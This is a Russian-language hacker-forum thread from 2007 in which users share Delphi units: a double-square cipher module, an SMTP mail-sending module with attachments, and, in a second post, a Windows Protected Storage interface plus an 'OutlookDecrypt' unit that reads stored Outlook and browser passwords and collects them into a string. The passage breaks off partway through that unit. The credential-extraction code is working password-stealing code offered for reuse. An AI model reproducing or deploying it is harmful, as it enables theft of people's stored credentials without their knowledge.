Полезные модули для Delphi от Joker-jar

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Joker-jar, 15 Jul 2007.

  1. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Накопилось немало различных модулей, вот хочу поделиться с античатом. Здесь постепенно размещу все самое интересное.

    1. CryptDBSquare.pas

    Модуль предназначен для шифрования методом двойного квадрата. Шифрует, дешифрует строки и файлы. Ключ представляет собой файл, содержащий 2 матрицы 16x16. Модуль имеет функцию генерирования ключа, а также сохранение и загрузки из файла. Также в файле-ключе есть возможность сохранения дополнительных данных, например, логин и срок действия ключа.

    Code:
    unit CryptDBSquare;

interface

uses
  SysUtils;

type
  LikeStr = string[20];
  TTabl = array[1..16,1..16] of byte;
  TArray = array[0..255] of byte;
  TBuffer = array[0..4095] of byte;
  TKey =
    record
      User, Desc: LikeStr;
      KeyA, KeyB: TTabl
    end;
  IPos =
    record
      horpos, verpos: 1..16
    end;
  KeyFile = file of TKey;

function Crypt(InputStr: string; Key: TKey): string;
procedure CryptFile(InputFileName, OutputFileName: string; Key: TKey);
function GetDescFromKey(Key: TKey): LikeStr;
function GetIPos(Tabl: TTabl; It: byte): IPos;
function GetUserNameFromKey(Key: TKey): LikeStr;
function GenerateKey(UserName, Desc: LikeStr): TKey;
procedure LoadKey(var Key: TKey; FileName: string);
procedure SaveKey(Key: TKey; FileName: string);
function UnCrypt(InputStr: string; Key: TKey): string;
procedure UnCryptFile(InputFileName, OutputFileName: string; Key: TKey);

implementation

const
  K1 = 64;
  K2 = 28;
  K3 = 16;
  K4 = 13;

function GetIPos(Tabl: TTabl; It: byte): IPos;
var
  i,k: byte;
begin
  for i:=1 to 16 do
    for k:=1 to 16 do
      if Tabl[i,k]=It then
        begin
          result.horpos := i;
          result.verpos := k;
          break;
        end;
end;

procedure FillArray(var A: Tarray);
var
  i, s, r: integer;
begin
  randomize;
  for i := 0 to 31 do
    A[i]:=i;
  for i := 32 to 255 do A[i] := i;
    for i := 255 downto 32 do
      begin
        r := Random(i-32)+32;
        S := A[r]; A[r] := A[i]; A[i] := s;
      end;
end;

function GenerateKey(UserName, Desc: LikeStr): TKey;
var
  TempKey: TKey;
  BufTab: TArray;
  a,i,k: byte;
begin
  FillArray(BufTab);
  for i:=1 to 16 do
    for k:=1 to 16 do
      result.KeyA[i,k]:=BufTab[(16*(i-1))+k-1];
  FillArray(BufTab);
  for i:=1 to 16 do
    for k:=1 to 16 do
      result.KeyB[i,k]:=BufTab[(16*(i-1))+k-1];
  TempKey := result;
  result.User := Crypt(UserName, TempKey);
  result.Desc := Crypt(Desc, TempKey);
end;

function GetUserNameFromKey(Key: TKey): LikeStr;
begin
  result := UnCrypt(Key.User, Key);
end;

function GetDescFromKey(Key: TKey): LikeStr;
begin
  result := UnCrypt(Key.Desc, Key);
end;

function CryptSimText(InputStr: string; Key: TKey): string;
var
  i: integer;
  Temp: string;
  p1,p2:IPos;
begin
  result:='';
  Temp:=InputStr;
    while Temp<>'' do
      begin
        p1:=GetIPos(Key.KeyA,ord(Temp[1]));
        p2:=GetIPos(Key.KeyB,ord(Temp[2]));
        if p1.horpos = p2.horpos then
          begin
            result:=result+chr(Key.KeyB[p1.horpos,p1.verpos]);
            result:=result+chr(Key.KeyA[p2.horpos,p2.verpos]);
            delete(temp,1,2);
          end
        else
          begin
            result:=result+chr(Key.KeyB[p1.horpos,p2.verpos]);
            result:=result+chr(Key.KeyA[p2.horpos,p1.verpos]);
            delete(temp,1,2);
          end;
      end;
end;

function Crypt(InputStr: string; Key: TKey): string;
var
  a: string;
begin
  if not odd(length(InputStr)) then
    result:=CryptSimText(InputStr,Key)
  else
    begin
      a:=copy(InputStr,length(InputStr),1);
      delete(InputStr,length(InputStr),1);
      result:=CryptSimText(InputStr,Key)+a;
    end;
end;

function CryptBlockOfBytes(Buf: TBuffer; Key: TKey): TBuffer;
var
  i: integer;
  Temp: TBuffer;
  p1,p2:IPos;
begin
  Temp:=Buf;
  for i:=0 to SizeOf(Temp) - 1 do if (i)mod(2)=0 then
    begin
      p1:=GetIPos(Key.KeyA,Temp[i]);
      p2:=GetIPos(Key.KeyB,Temp[i+1]);
      if p1.horpos = p2.horpos then
        begin
          result[i]:=Key.KeyB[p1.horpos,p1.verpos];
          result[i+1]:=Key.KeyA[p2.horpos,p2.verpos];
        end
      else
        begin
          result[i]:=Key.KeyB[p1.horpos,p2.verpos];
          result[i+1]:=Key.KeyA[p2.horpos,p1.verpos];
        end;
    end;
end;


procedure CryptFile(InputFileName, OutputFileName: string; Key: TKey);
var
  FromF, ToF: file;
  NumRead, NumWritten, i: Integer;
  Buf: TBuffer;
  TempStr: string;
begin
  AssignFile(FromF, InputFileName);
  Reset(FromF, 1);
  AssignFile(ToF, OutputFileName);
  Rewrite(ToF, 1);
    repeat
      BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
      Buf := CryptBlockOfBytes(Buf, Key);
      BlockWrite(ToF, Buf, NumRead, NumWritten);
    until
      (NumRead = 0) or (NumWritten <> NumRead);
  CloseFile(FromF);
  CloseFile(ToF);
end;

function UnCryptSimText(InputStr: string; Key: TKey): string;
var
  i: integer;
  Temp: string;
  p1,p2:IPos;
begin
  result:='';
  Temp:=InputStr;
    while Temp<>'' do
      begin
        p1:=GetIPos(Key.KeyB,ord(Temp[1]));
        p2:=GetIPos(Key.KeyA,ord(Temp[2]));
        if p1.horpos = p2.horpos then
          begin
            result:=result+chr(Key.KeyA[p1.horpos,p1.verpos]);
            result:=result+chr(Key.KeyB[p2.horpos,p2.verpos]);
            delete(temp,1,2);
          end
        else
          begin
            result:=result+chr(Key.KeyA[p1.horpos,p2.verpos]);
            result:=result+chr(Key.KeyB[p2.horpos,p1.verpos]);
            delete(temp,1,2);
          end;
      end;
end;

function UnCrypt(InputStr: string; Key: TKey): string;
var
  a: string;
begin
  if not odd(length(InputStr)) then
    result:=UnCryptSimText(InputStr,Key)
  else
    begin
      a:=copy(InputStr,length(InputStr),1);
      delete(InputStr,length(InputStr),1);
      result:=UnCryptSimText(InputStr,Key)+a;
    end;
end;

function UnCryptBlockOfBytes(Buf: TBuffer; Key: TKey): TBuffer;
var
  i: integer;
  Temp: TBuffer;
  p1,p2:IPos;
begin
  Temp:=Buf;
  for i:=0 to SizeOf(Temp) - 1 do if (i)mod(2)=0 then
    begin
      p1:=GetIPos(Key.KeyB,Temp[i]);
      p2:=GetIPos(Key.KeyA,Temp[i+1]);
      if p1.horpos = p2.horpos then
        begin
          result[i]:=Key.KeyA[p1.horpos,p1.verpos];
          result[i+1]:=Key.KeyB[p2.horpos,p2.verpos];
        end
      else
        begin
          result[i]:=Key.KeyA[p1.horpos,p2.verpos];
          result[i+1]:=Key.KeyB[p2.horpos,p1.verpos];
        end;
    end;
end;

procedure UnCryptFile(InputFileName, OutputFileName: string; Key: TKey);
var
  FromF, ToF: file;
  NumRead, NumWritten, i: Integer;
  Buf: TBuffer;
  TempStr: string;
begin
  AssignFile(FromF, InputFileName);
  Reset(FromF, 1);
  AssignFile(ToF, OutputFileName);
  Rewrite(ToF, 1);
    repeat
      BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
      Buf := UnCryptBlockOfBytes(Buf, Key);
      BlockWrite(ToF, Buf, NumRead, NumWritten);
    until
      (NumRead = 0) or (NumWritten <> NumRead);
  CloseFile(FromF);
  CloseFile(ToF);
end;

procedure SaveKey(Key: TKey; FileName: string);
var
  KF: KeyFile;
begin
  assignfile(KF,FileName);
  rewrite(KF);
  write(KF,Key);
  closefile(KF);
end;

procedure LoadKey(var Key: TKey; FileName: string);
var
  KF: KeyFile;
begin
  assignfile(KF,FileName);
  reset(KF);
  read(KF,Key);
  closefile(KF);
end;

end.
    1. smtp.pas

    Модуль для тех, кто любит писать программульки с помощью KOL. Отправляет письма с html-форматированием и файловыми атачами. Получается очень маленький размер exe. В принципе, за пару минут модуль можно подогнать и под чистый API.

    Code:
    unit SMTP;

{*******************************************************}
{            SMTP - Модуль для Delphi+KOL               }
{ Version:   1.0                                        }
{ E-Mail:    [email protected]                     }
{ Created:   October  08, 2006                          }
{ Legal:     Copyright (c) 2006, Joker-jar              }
{*******************************************************}
{ ТИПЫ:                                                 }
{   TLetter - струтура письма                           }
{             NeedAuth - нужна ли аутентификация        }
{             mHost - адрес сервера SMTP                }
{             uName, uPass - имя пользователя, пароль   }
{             mFromName, mFrom - имя, адрес отправителя }
{             mToName, mTo - имя, адрес получателя      }
{             Subject - тема письма                     }
{             mBody - тело письма                       }
{*******************************************************}
{ КОНСТАНТЫ:                                            }
{   TimeOut - Максимальное время ожидания ответа от     }
{             сервера                                   }
{                                                       }
{   Bound - Разделитель блоков в теле письма            }
{                                                       }
{   MIME - Заголовок MIME                               }
{*******************************************************}
{ ПРОЦЕДУРЫ:                                            }
{   OpenMIME - Устанавливает в начало тела письма       }
{              MIME заголовок. Вызывается один раз      }
{              при заполнении тела письма.              }
{                                                       }
{   CloseMIME - Устанавливает в конец тела письма       }
{               метку об окончании MIME. Вызывается     }
{               один раз по завершению заполнения       }
{               тела письма.                            }
{                                                       }
{   AddHTMLBlockToBody - Добавляет HTML блок к телу     }
{                        письма. Прежде чем             }
{                        использовать, убедитесь,       }
{                        что инициализирован MIME       }
{                        командой OpenMIME в начале     }
{                        тела письма.                   }
{                                                       }
{   AttachFileToBody - Прикрепляет произвольный файл    }
{                      к телу письма. Прежде чем        }
{                      использовать, убедитесь, что     }
{                      инициализирован MIME командой    }
{                      OpenMIME в начале тела письма.   }
{                                                       }
{                                                       }
{   SMTPConnectAndSendMail - Процедура отправляет       }
{                            письмо и выводит ответы    }
{                            сервера в Memo,            }
{                            переданное как OutServAns  }
{                            (Можно в качестве          }
{                            OutServAns передать nil)   }
{*******************************************************}

interface

uses
  KOL, Windows, Winsock;

type
  Tarray = array of string;
  TLetter =
    record
      NeedAuth: boolean;
      mHost, uName, uPass, mFrom,
      mTo, mFromName, mToName, Subject: string;
      mBody: Tarray;
    end;

const
  TimeOut = 1000;
  Bound = 'ENDBLOCK';
  MIME = 'MIME-Version:1.0';

procedure OpenMIME(var mBody: TArray);
procedure CloseMIME(var mBody: TArray);
procedure AddHTMLBlockToBody(var mBody: TArray; HTMLText: string);
procedure AttachFileToBody(var mBody: TArray; Filename: string);
procedure SMTPConnectAndSendMail(Letter: TLetter; OutServAns: Pcontrol);

implementation

type
  TAByte = array [0..maxInt-1] of byte;
  TPAByte = ^TAByte;

const
  CtrlF = #13#10;

var
  WSA:TWSAData;
  MailSocket:TSocket;
  SMTPServer:TSockAddr;

function MyInc(var i:integer): integer;
begin
  inc(i);
  result := i;
end;

function GetComputerNetName: string;
var 
  buffer: array[0..255] of char;
  size: dword;
begin 
  size := 256;
  if GetComputerName(buffer, size) then
    Result := buffer
  else
    Result := ''
end;

function B64Encode(data:string) : string; overload;
const
  b64 : array [0..63] of char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
  ic,len : integer;
  pi, po : TPAByte;
  c1 : dword;
begin
  len:=length(data);
  if len > 0 then
    begin
      SetLength(result, ((len + 2) div 3) * 4);
      pi := pointer(data);
      po := pointer(result);
      for ic := 1 to len div 3 do
        begin
          c1 := pi^[0] shl 16 + pi^[1] shl 8 + pi^[2];
          po^[0] := byte(b64[(c1 shr 18) and $3f]);
          po^[1] := byte(b64[(c1 shr 12) and $3f]);
          po^[2] := byte(b64[(c1 shr 6) and $3f]);
          po^[3] := byte(b64[(c1 ) and $3f]);
          inc(dword(po), 4);
          inc(dword(pi), 3);
        end;
      case len mod 3 of
        1:
          begin
            c1 := pi^[0] shl 16;
            po^[0] := byte(b64[(c1 shr 18) and $3f]);
            po^[1] := byte(b64[(c1 shr 12) and $3f]);
            po^[2] := byte('=');
            po^[3] := byte('=');
          end;
        2 :
          begin
            c1 := pi^[0] shl 16 + pi^[1] shl 8;
            po^[0] := byte(b64[(c1 shr 18) and $3f]);
            po^[1] := byte(b64[(c1 shr 12) and $3f]);
            po^[2] := byte(b64[(c1 shr 6) and $3f]);
            po^[3] := byte('=');
          end;
      end;
    end
  else
    result := '';
end;

function LookupName(host: string): TInAddr;
var
  HostEnt: PHostEnt;
  InAddr: TInAddr;
begin
  HostEnt := gethostbyname(PChar(host));
  FillChar(InAddr, SizeOf(InAddr), 0);
  if HostEnt <> nil then
    begin
      with InAddr, HostEnt^ do
        begin
          S_un_b.s_b1 := h_addr^[0];
          S_un_b.s_b2 := h_addr^[1];
          S_un_b.s_b3 := h_addr^[2];
          S_un_b.s_b4 := h_addr^[3];
        end;
    end;
  Result := InAddr;
end;

function SMTPRecvReply(MailSocket:TSocket):string;
var
  t: integer;
  Buffer:Array[0..255] of char;
begin
  ZeroMemory(@Buffer,256);
  t:=GetTickCount;
    repeat
    until
      (Recv(MailSocket,Buffer,SizeOf(Buffer),0)>0)or(GetTickCount - t >= TimeOut);
  result := buffer+CTRLF;
end;   

procedure SMTPSendString(MailSocket:TSocket;Str:string);
var
  Buffer:Array[0..255] of char;
begin
  StrPCopy(Buffer,Str);
  Send(MailSocket,Buffer,length(Str),0);
end;

procedure SendComandAndWaitAnswer(MailSocket: TSocket;OutServAns: Pcontrol;Str: string);
begin
  SMTPSendString(MailSocket,Str);
  if Assigned(OutServAns) then
    begin
      OutServAns.Add(SMTPRecvReply(MailSocket));
      OutServAns.Perform($0115, SB_BOTTOM,0);
    end;
end;

procedure AddstringToBody(var mBody: Tarray; str: String);
var
  m: integer;
begin
  m := high(mBody);
  setlength(mBody,m+2);
  mBody[m+1]:=str;
end;

procedure OpenMIME(var mBody: TArray);
var
  i: integer;
begin
  i:=0;
  setlength(mBody, 3);
  mBody[i] := MIME;
  mBody[myinc(i)] := 'Content-Type: multipart/mixed; boundary="'+Bound+'"';
  mBody[myinc(i)] := '--'+Bound;
end;

procedure CloseMIME(var mBody: TArray);
begin
  mBody[High(mBody)] := mBody[High(mBody)]+'--';
end;


procedure AddHTMLBlockToBody(var mBody: TArray; HTMLText: string);
begin
  AddstringToBody(mBody,'Content-Type: text/html; charset=Windows-1251');
  AddstringToBody(mBody,'Content-Transfer-Encoding: 8bit');
  AddstringToBody(mBody, '');
  AddstringToBody(mBody, HTMLtext);
  AddstringToBody(mBody,'--'+Bound);
end;

procedure AttachFileToBody(var mBody: TArray; Filename: string);
var
  k: integer;
  c: byte;
  tempStr: string;
  F: file of byte;
begin
  if (not fileexists(filename))or(filesize(filename)=0) then
    exit;
  AddstringToBody(mBody,'Content-Type: application/octet-stream; name="'+ExtractFileName(FileName)+'"');
  AddstringToBody(mBody,'Content-Disposition: attachment; filename="'+ExtractFileName(FileName)+'"');
  AddstringToBody(mBody,'Content-Transfer-Encoding: base64');
  AddstringToBody(mBody,'');
  k:=0;
  AssignFile(F, FileName);
  Reset(F);
    repeat
      inc(k);
      Read(F, c);
      tempstr:=tempstr+chr(c);
      if k mod 38 = 0 then
        begin
          AddstringToBody(mBody, b64encode(tempstr));
          tempstr:='';
        end;
    until
      (eof(F));
  CloseFile(F);
  AddstringToBody(mBody, b64encode(tempstr));
  AddstringToBody(mBody,'--'+Bound);
end;

procedure SMTPConnectAndSendMail(Letter: TLetter; OutServAns: Pcontrol);
var
  i: integer;
begin
  WSAStartup(MAKEWORD(1,0),WSA);
  MailSocket:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  ZeroMemory(@SMTPServer,SizeOf(SMTPServer));
  SMTPServer.sin_family:=AF_INET;
  SMTPServer.sin_port:=htons(25);
  SMTPServer.sin_addr:=LookupName(Letter.mHost);
  if Connect(MailSocket,SMTPServer,SizeOf(SMTPServer))=0 then
    begin
      SendComandAndWaitAnswer(mailsocket, OutServAns, 'HELO '+ GetComputerNetName + CTRLF);
      if Letter.NeedAuth then
        SendComandAndWaitAnswer(mailsocket, OutServAns, 'AUTH LOGIN ' + CTRLF + b64encode(Letter.uName) + CTRLF + b64encode(Letter.uPass) + CTRLF);
      SendComandAndWaitAnswer(mailsocket, OutServAns, 'MAIL FROM:' + Letter.mFrom + CTRLF + 'RCPT TO:' + Letter.mTo + CTRLF);
      SendComandAndWaitAnswer(mailsocket, OutServAns, 'DATA' + CTRLF + 'From: "' + Letter.mFromName + '" <' + Letter.mFrom + '>' + CTRLF + 'To: "' + Letter.mToName + '" <' + Letter.mTo + '>' + CTRLF + 'Subject: ' + Letter.Subject + CTRLF);
      for i:=0 to high(Letter.mBody) do
        SMTPSendString(mailsocket,Letter.mBody[i]+CTRLF);
      SendComandAndWaitAnswer(mailsocket, OutServAns, CTRLF+'.'+CTRLF+CTRLF+'QUIT');
    end
  else
    if Assigned(OutServAns) then
      OutServAns.Add('Unable to connect to '+Letter.mHost);
  CloseSocket(MailSocket);
  WSACleanup;
end;

end.
    Если кому-то что-то непонятно, пишите. Покажу на примерах.
     
    #1 Joker-jar, 15 Jul 2007
    5 people like this.
  2. Knight_of_Darkness

    Knight_of_Darkness Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    69
    Likes Received:
    68
    Reputations:
    24
    В свою очередь делюсь: модуль для извлечения паролей из Protected Storage И файл интерфейсов к нему:

    Code:
    
unit PStorageIntfs; 

                                                          
{$TYPEDADDRESS OFF} 

{$WRITEABLECONST ON} 

interface 

const 

  PSTORECLibMajorVersion = 1; 
  PSTORECLibMinorVersion = 0; 

  LIBID_PSTORECLib: TGUID = '{5A6F1EBD-2DB1-11D0-8C39-00C04FD9126B}'; 

  IID_IEnumPStoreProviders: TGUID = '{5A6F1EBF-2DB1-11D0-8C39-00C04FD9126B}'; 
  IID_IPStore: TGUID = '{5A6F1EC0-2DB1-11D0-8C39-00C04FD9126B}'; 
  IID_IEnumPStoreTypes: TGUID = '{789C1CBF-31EE-11D0-8C39-00C04FD9126B}'; 
  IID_IEnumPStoreItems: TGUID = '{5A6F1EC1-2DB1-11D0-8C39-00C04FD9126B}'; 
type 

  PStorageItem = ^TStorageItem; 
  TStorageItem = record 
    T: BYTE; 
    pType: TGUID; 
    pSubtype: TGUID; 
    pItem: ShortString; 
  end; 

  PStorageSubtype = ^TStorageSubtype; 
  TStorageSubtype = record 
    T: BYTE; 
    pType: TGUID; 
    pSubtype: TGUID; 
  end; 

  PStorageType = ^TStorageType; 
  TStorageType = record 
    T: BYTE; 
    pType: TGUID; 
  end; 

  PProviderInfo = ^TProviderInfo; 
  TProviderInfo = record 
    GUID: TGUID; 
    Capabilities: LongWord; 
    ProviderName: ShortString; 
  end; 

  IEnumPStoreProviders = interface; 
  IPStore = interface; 
  IEnumPStoreTypes = interface; 
  IEnumPStoreItems = interface; 


  CPStore = IEnumPStoreProviders; 
  CEnumTypes = IEnumPStoreTypes; 
  CEnumItems = IEnumPStoreItems; 


  PUserType1 = ^_PST_PROVIDERINFO; {*} 
  PByte1 = ^Byte; {*} 
  PUserType2 = ^TGUID; {*} 
  PUserType3 = ^_PST_TYPEINFO; {*} 
  PUserType4 = ^_PST_ACCESSRULESET; {*} 
  PPUserType1 = ^IEnumPStoreTypes; {*} 
  PUserType5 = ^_PST_PROMPTINFO; {*} 
  PPUserType2 = ^IEnumPStoreItems; {*} 

  _PST_PROVIDERINFO = packed record 
    cbSize: LongWord; 
    ID: TGUID; 
    Capabilities: LongWord; 
    szProviderName: PWideChar; 
  end; 

  _PST_TYPEINFO = packed record 
    cbSize: LongWord; 
    szDisplayName: PWideChar; 
  end; 

  _PST_ACCESSCLAUSE = packed record 
    cbSize: LongWord; 
    ClauseType: LongWord; 
    cbClauseData: LongWord; 
    pbClauseData: ^Byte; 
  end; 

  _PST_ACCESSRULE = packed record 
    cbSize: LongWord; 
    AccessModeFlags: LongWord; 
    cClauses: LongWord; 
    rgClauses: ^_PST_ACCESSCLAUSE; 
  end; 

  _PST_ACCESSRULESET = packed record 
    cbSize: LongWord; 
    cRules: LongWord; 
    rgRules: ^_PST_ACCESSRULE; 
  end; 

  _PST_PROMPTINFO = packed record 
    cbSize: LongWord; 
    dwPromptFlags: LongWord; 
    hwndApp: LongWord; 
    szPrompt: PWideChar; 
  end; 


  IEnumPStoreProviders = interface(IUnknown) 
    ['{5A6F1EBF-2DB1-11D0-8C39-00C04FD9126B}'] 
    function  Next(celt: LongWord; out rgelt: PUserType1; var pceltFetched: LongWord): HResult; stdcall; 
    function  Skip(celt: LongWord): HResult; stdcall; 
    function  Reset: HResult; stdcall; 
    function  Clone(out ppenum: IEnumPStoreProviders): HResult; stdcall; 
  end; 


  IPStore = interface(IUnknown) 
    ['{5A6F1EC0-2DB1-11D0-8C39-00C04FD9126B}'] 
    function  GetInfo(out ppProperties: PUserType1): HResult; stdcall; 
    function  GetProvParam(dwParam: LongWord; out pcbData: LongWord; out ppbData: PByte1; 
                           dwFlags: LongWord): HResult; stdcall; 
    function  SetProvParam(dwParam: LongWord; cbData: LongWord; var pbData: Byte; dwFlags: LongWord): HResult; stdcall; 
    function  CreateType(Key: LongWord; var pType: TGUID; var pInfo: _PST_TYPEINFO; 
                         dwFlags: LongWord): HResult; stdcall; 
    function  GetTypeInfo(Key: LongWord; var pType: TGUID; out ppInfo: PUserType3; dwFlags: LongWord): HResult; stdcall; 
    function  DeleteType(Key: LongWord; var pType: TGUID; dwFlags: LongWord): HResult; stdcall; 
    function  CreateSubtype(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; 
                            var pInfo: _PST_TYPEINFO; var pRules: _PST_ACCESSRULESET; 
                            dwFlags: LongWord): HResult; stdcall; 
    function  GetSubtypeInfo(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; 
                             out ppInfo: PUserType3; dwFlags: LongWord): HResult; stdcall; 
    function  DeleteSubtype(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; dwFlags: LongWord): HResult; stdcall; 
    function  ReadAccessRuleset(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; 
                                out ppRules: PUserType4; dwFlags: LongWord): HResult; stdcall; 
    function  WriteAccessRuleset(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; 
                                 var pRules: _PST_ACCESSRULESET; dwFlags: LongWord): HResult; stdcall; 
    function  EnumTypes(Key: LongWord; dwFlags: LongWord; var ppenum: IEnumPStoreTypes): HResult; stdcall; 
    function  EnumSubtypes(Key: LongWord; var pType: TGUID; dwFlags: LongWord; 
                           var ppenum: IEnumPStoreTypes): HResult; stdcall; 
    function  DeleteItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                         szItemName: PWideChar; var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall; 
    function  ReadItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                       szItemName: PWideChar; out pcbData: LongWord; out ppbData: Pointer; 
                       var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall; 
    function  WriteItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                        szItemName: PWideChar; cbData: LongWord; var pbData: Byte; 
                        var pPromptInfo: _PST_PROMPTINFO; dwDefaultConfirmationStyle: LongWord; 
                        dwFlags: LongWord): HResult; stdcall; 
    function  OpenItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                       szItemName: PWideChar; ModeFlags: LongWord; 
                       var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall; 
    function  CloseItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                        szItemName: PWideChar; dwFlags: LongWord): HResult; stdcall; 
    function  EnumItems(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                        dwFlags: LongWord; var ppenum: IEnumPStoreItems): HResult; stdcall; 
  end; 


  IEnumPStoreTypes = interface(IUnknown) 
    ['{789C1CBF-31EE-11D0-8C39-00C04FD9126B}'] 
    function  Next(celt: LongWord; out rgelt: TGUID; var pceltFetched: LongWord): HResult; stdcall; 
    function  Skip(celt: LongWord): HResult; stdcall; 
    function  Reset: HResult; stdcall; 
    function  Clone(out ppenum: IEnumPStoreTypes): HResult; stdcall; 
  end; 

  IEnumPStoreItems = interface(IUnknown) 
    ['{5A6F1EC1-2DB1-11D0-8C39-00C04FD9126B}'] 
    function  Next(celt: LongWord; out rgelt: PWideChar; var pceltFetched: LongWord): HResult; stdcall; 
    function  Skip(celt: LongWord): HResult; stdcall; 
    function  Reset: HResult; stdcall; 
    function  Clone(out ppenum: IEnumPStoreItems): HResult; stdcall; 
  end; 

implementation 

end.
    Code:
    unit OutlookDecrypt; 

interface 

uses 
  Windows, 
  PStorageIntfs;//заголовочный файл 

function GetOutlookPass: string; 

implementation 

type 
  PTChar = ^Char; 
  TMyGUID = array of TGUID; 
  TPStoreCreateInstance = function(var ppProvider: IPStore; pProviderID: PGUID; pReserved: Pointer; dwFlags: DWORD): HRESULT; stdcall; 
var 
FLibrary: THandle; 
PStoreCreateInstance: TPStoreCreateInstance; 
FProvider: IPStore; 
Pass: string; 

procedure CoTaskMemFree(pv: Pointer); stdcall; external 'ole32.dll' name 'CoTaskMemFree'; 
function StringFromCLSID(const clsid: TGUID; out psz: PWideChar): HResult; stdcall; external 'ole32.dll' name 'StringFromCLSID'; 

function PStorageConnect: Boolean;// Соединяемся с хранилищем 
begin 
  Result := False; 
  if (PStoreCreateInstance(FProvider, nil, nil, 0) <> S_OK) or (FProvider = nil) then 
  begin 
    FProvider := nil; 
    Exit; 
  end; 
  Result := True; 
end; 

function InitLib: boolean;//Пытаемся загрузить функцию 
begin 
  result:=false; 
  FLibrary := LoadLibrary('pstorec.dll'); 
  if FLibrary = 0 then Exit; 
  PStoreCreateInstance := GetProcAddress(FLibrary, 'PStoreCreateInstance'); 
  if @PStoreCreateInstance = nil then 
  begin 
    FreeLibrary(FLibrary); 
    exit; 
  end; 
  result:=true; 
end; 

function PStorageGetProviderInfo: TProviderInfo; 
var 
  ppInfo: PUserType1; 
begin 
  if FProvider.GetInfo(ppInfo) = S_OK then 
  begin 
    Result.GUID := ppInfo.ID; 
    Result.Capabilities := ppInfo.Capabilities; 
    Result.ProviderName := String(ppInfo.szProviderName); 
  end; 
end; 

function PStorageGetTypeName(pGUID: TGUID): String; 
var 
  pst: PUserType3; 
begin 
  pst := nil; 
  if (FProvider.GetTypeInfo(0, pGUID, pst, 0) = S_OK) and (pst <> nil) then 
  begin 
    Result := String(pst^.szDisplayName); 
    CoTaskMemFree(pst); 
  end; 
end; 

function PStorageGetSubtypeName(pType, pSubtype: TGUID): String; 
var 
  pst: PUserType3; 
begin 
  pst := nil; 
  if (FProvider.GetSubtypeInfo(0, pType, pSubType, pst, 0) = S_OK) and (pst <> nil) then 
  begin 
    Result := String(pst^.szDisplayName); 
    CoTaskMemFree(pst); 
  end; 
end; 

function FillPromptInfoStruct: _PST_PROMPTINFO; 
begin 
  Result.cbSize := SizeOf(_PST_PROMPTINFO); 
  Result.dwPromptFlags := 4; 
  Result.hwndApp := 0; 
  Result.szPrompt := ''; 
end; 

function PStorageReadItemData(pType, pSubtype: TGUID; pItem: ShortString; var Data: Pointer; var DataLen: LongWord): Boolean; 
var 
  pspi: _PST_PROMPTINFO; 
begin 
  pspi := FillPromptInfoStruct; 
  DataLen := 0; 
  Data := nil; 
  Result := FProvider.ReadItem(0, pType, pSubtype, StringToOleStr(pItem), DataLen, Data, pspi, 0) = S_OK; 
end; 

function DumpData(Buffer: Pointer; BufLen: DWord): String; 
var 
  i, j, c: Integer; 
begin 
  c := 0; 
  Result := ''; 
  for i := 1 to BufLen div 16 do 
  begin 
    for j := c to c + 15 do 
      if (PByte(Integer(Buffer) + j)^ < $20) or (PByte(Integer(Buffer) + j)^ > $7F) then 
        Result := Result + '.' 
      else 
        Result := Result + PTChar(Integer(Buffer) + j)^; 
    c := c + 16; 
//    Result := Result + #13#10; 
  end; 
  if BufLen mod 16 <> 0 then 
    for i := BufLen mod 16 downto 1 do 
      if (PByte(Integer(Buffer) + Integer(BufLen) - i)^ < $20) or (PByte(Integer(Buffer) + Integer(BufLen) - i)^ > $7F) then 
//        Result := Result + '.' 
      else 
        Result := Result + PTChar(Integer(Buffer) + Integer(BufLen) - i)^; 
end; 

function GUIDToString(const GUID: TGUID): string; 
var 
  P: PWideChar; 
begin 
  if not Succeeded(StringFromCLSID(GUID, P)) then exit; 
  Result := P; 
  CoTaskMemFree(P); 
end; 

procedure ReadValue(Caption:string; flag: byte; pType, pSubType: TGUID); 
var 
  Mem: Pointer; 
  MemLen: Cardinal; 
//  i:integer; 
begin 
  case flag of 
{    0:   //ветвь 
      pass:=pass+#13#10+Caption+': ' + GUIDToString(pType)+#13#10; 
    1:  //подветвь 
      pass:=pass+Caption+': ' + GUIDToString(pSubType)+#13#10;} 
    2: //значения 
      begin 
        if PStorageReadItemData(pType, pSubtype, Caption, Mem, MemLen) and (Mem <> nil) then 
        begin 
          Caption[length(Caption)-7]:=#0; 
          Caption:=PChar(Caption); 
          pass:=pass+'Data('+Caption+'):Pass('+DumpData(Mem, MemLen)+'); ';  //hex->ASCII 
          CoTaskMemFree(Mem); 
        end;// else 
//        pass:=pass+'Coult not read item data'+#13#10; 
      end; 
  end; 
end; 

procedure ExpandPSProvider; 
var 
  ppEnum: IEnumPStoreTypes; 
  ppEnumItems: IEnumPStoreItems; 
  GUIDBuf: array[0..15] of TGUID; 
  ItemBuf: array[0..15] of PWideChar; 
  ItemsRead: Cardinal; 

  TypesList: TMyGUID; 
  SubtypesList: TMyGUID; 
  ItemsList: array of string; 

  i3, i2, i, j, k: Integer; 
  pType: PStorageType; 
  pSubtype: PStorageSubType; 
  pItem: PStorageItem; 
begin 
//получаем корень 
